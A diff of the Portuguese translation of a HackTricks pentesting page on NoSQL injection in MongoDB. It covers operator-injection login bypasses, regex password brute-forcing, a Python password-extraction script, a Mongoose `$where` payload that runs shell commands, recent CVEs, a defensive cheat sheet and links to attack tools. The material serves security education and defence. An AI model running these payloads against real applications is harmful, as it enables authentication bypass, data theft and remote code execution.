Translated ['src/pentesting-web/nosql-injection.md'] to pt

src/pentesting-web/nosql-injection.md

@@ -1,12 +1,12 @@
-# Injeção NoSQL
+# NoSQL injection
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Exploit
 
-Em PHP, você pode enviar um Array mudando o parâmetro enviado de _parameter=foo_ para _parameter\[arrName]=foo._
+Em PHP, você pode enviar um Array mudando o parâmetro enviado de _parameter=foo_ para _parameter[arrName]=foo._
 
-Os exploits são baseados em adicionar um **Operador**:
+Os exploits são baseados em adicionar um **Operator**:
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -76,7 +76,7 @@ in JSON
 ...
 /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
 ```
-### Execução Arbitrária de Função PHP
+### Execução Arbitrária de Funções PHP
 
 Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por padrão), pode ser possível executar uma função arbitrária como neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
 ```python
@@ -114,7 +114,41 @@ Injete `throw new Error(JSON.stringify(this))` em uma cláusula `$where` para ex
 ```json
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
-## MongoDB Payloads
+## Recent CVEs & Real-World Exploits (2023-2025)
+
+### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
+Versões ≤ 6.0.0 expuseram o método Meteor `listEmojiCustom` que encaminhava um objeto **selector** controlado pelo usuário diretamente para `find()`. Ao injetar operadores como `{"$where":"sleep(2000)||true"}`, um atacante não autenticado poderia construir um oráculo de tempo e exfiltrar documentos. O bug foi corrigido na versão 6.0.1 validando a forma do selector e removendo operadores perigosos.
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+Quando `populate()` é usado com a opção `match`, o Mongoose (≤ 8.8.2) copiava o objeto literalmente *antes* de enviá-lo para o MongoDB. Fornecer `$where` portanto executava JavaScript **dentro do Node.js** mesmo que o JS do lado do servidor estivesse desativado no MongoDB:
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+.populate({ path: 'author', match: req.query.author });   // RCE
+```
+O primeiro patch (8.8.3) bloqueou `$where` de nível superior, mas aninhá-lo sob `$or` contornou o filtro, levando ao CVE-2025-23061. O problema foi totalmente corrigido na versão 8.9.5, e uma nova opção de conexão `sanitizeFilter: true` foi introduzida.
+
+### Confusão de filtro GraphQL → Mongo
+Resolves que encaminham `args.filter` diretamente para `collection.find()` permanecem vulneráveis:
+```graphql
+query users($f:UserFilter){
+users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+Mitigações: remova recursivamente chaves que começam com `$`, mapeie operadores permitidos explicitamente ou valide com bibliotecas de esquema (Joi, Zod).
+
+## Cheat-Sheet Defensivo (atualizado 2025)
+
+1. Remova ou rejeite qualquer chave que comece com `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
+2. Desative JavaScript do lado do servidor no MongoDB auto-hospedado (`--noscripting`, padrão na v7.0+).
+3. Prefira `$expr` e construtores de agregação em vez de `$where`.
+4. Valide tipos de dados cedo (Joi/Ajv) e desautorize arrays onde escalares são esperados para evitar truques de `[$ne]`.
+5. Para GraphQL, traduza argumentos de filtro através de uma lista de permissão; nunca espalhe objetos não confiáveis.
+
+## Payloads MongoDB
 
 Lista [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
@@ -193,6 +227,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
 print("Extracting password of "+username)
 params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -225,9 +260,10 @@ for u in get_usernames(""):
 get_password(u)
 ```
 ## Ferramentas
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## Referências
 
@@ -236,5 +272,7 @@ get_password(u)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}